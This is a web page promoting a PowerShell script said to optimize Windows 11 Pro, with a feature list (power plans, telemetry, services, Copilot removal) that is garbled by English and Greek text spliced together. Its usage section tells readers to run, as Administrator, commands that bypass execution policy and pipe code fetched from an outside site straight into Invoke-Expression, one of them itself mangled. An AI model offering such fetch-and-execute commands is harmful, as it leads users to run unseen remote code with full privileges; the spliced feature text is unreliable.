Optimize Windows11 Pro
WhatΠιο theσυγκεκριμένα, script does
The script performs 12 major optimization categories automatically:
SystemΔημιουργίαRestorerestorePoint— Creates a safety checkpoint before any changes.point.Ultimate Performance Power Plan— Activates the hidden UltimateUltimate/High Performance planor+fallsUSBbackselectivetosuspendHighoffPerformance+ HDD timeout off.VisualΒασικάEffectsvisual—effectsSetstweaks,everythingtransparencytooff,"bestMinAnimate,performance" and disables transparency/animationsκ.λπ.- SSD
Optimizationβελτιστοποίηση— Executes TRIM on all drives, enables(TRIM, write caching,confirms weekly scheduleScheduledDefrag). StartupΑπενεργοποίησηBloatκοινώνRemovalstartup— Disables common bloatwareapps (Teams, OneDrive,AdobeDiscordupdaters, etc.κ.λπ.).XboxΒασικό Game Bar&off,Telemetryfeedback—promptsDisables Game Bar, DVR, and reduces telemetry to minimumoff.- Background
Appsapps—restriction,RestrictsAppPrivacy,backgroundWindowsappUpdatepermissionsauto-rebootsystem-wide& continuous innovation off. Windows Update— Prevents auto-restart and disables aggressive update deliveryUnnecessary Services— Stops and disables telemetry, Xbox, Fax, RemoteRegistry, RetailDemo services- Network
Throttling— Removes Windows networkthrottlingandoff,disables adapterNIC power management off, SystemResponsiveness, MenuShowDelay. SystemTemp/PrefetchResponsivenesscleanup.- Πλήρης
Prioritizesαπεγκατάσταση OneDrive. - Πλήρης telemetry off (DiagTrack + AllowTelemetry=0).
- UWP bloatware uninstall.
- Πλήρης Xbox removal.
- Copilot/AI uninstall + policy off.
- Services (Fax, Search, Xbox σε Manual, WerSvc Disabled).
- Win32PrioritySeparation=26 + επαλήθευση.
- Extra animations off (UserPreferencesMask + VisualFXSetting).
- DNS cache clean (Clear-DnsClientCache + ipconfig /flushdns).
- SysMain (Superfetch) τελείως Disabled.
- Processor Affinity helper για όποιο process θέλεις. Δημιουργία ProcessPriority.ps1 για dynamic foreground
apps, disables Superfetch on SSDs, minimizes menu delaysHigh. Temp FileDisk Cleanup—(cleanmgrClears/sagerun:1)Windows+Temp,compactUser/UTemp,/Sand/IPrefetch foldersC:.
How to use it
Run as Administrator:
Right-click PowerShell or Windows Terminal → "Run as Administrator", then:
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force; Invoke-Expression (Invoke-WebRequest -Uri "https://docs.greenhome.stream/attachments/58"64" -UseBasicP) | Out-Null
or
iex (iwr -UseBasicParsing "https://docs.greenhome.stream/attachments/64").Content
or
powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (Invoke-WebRequest -UseBasicParsing 'https://docs.greenhome.stream/attachments/64').Content"
The script runs fully automated—no prompts, no user interaction needed. It uses a clean, timestamped, color-coded output so you see exactly what's happening in real-time.
Safety features
- Creates a restore point first (you can roll back if needed)
- All registry/service changes use
-ErrorAction SilentlyContinuefor non-critical operations - Won't break if certain features don't exist on your system
- Detailed success/warning/error messages for troubleshooting
What you'll see
The output uses:
- Cyan headers for each section
- Green checkmarks for successful operations
- Yellow warnings for partial/skipped operations
- Red errors if something fails
- Timestamped steps
[HH:mm:ss] ► Action
After completion, you'll get a summary and a restart prompt (press any key to exit, then reboot manually).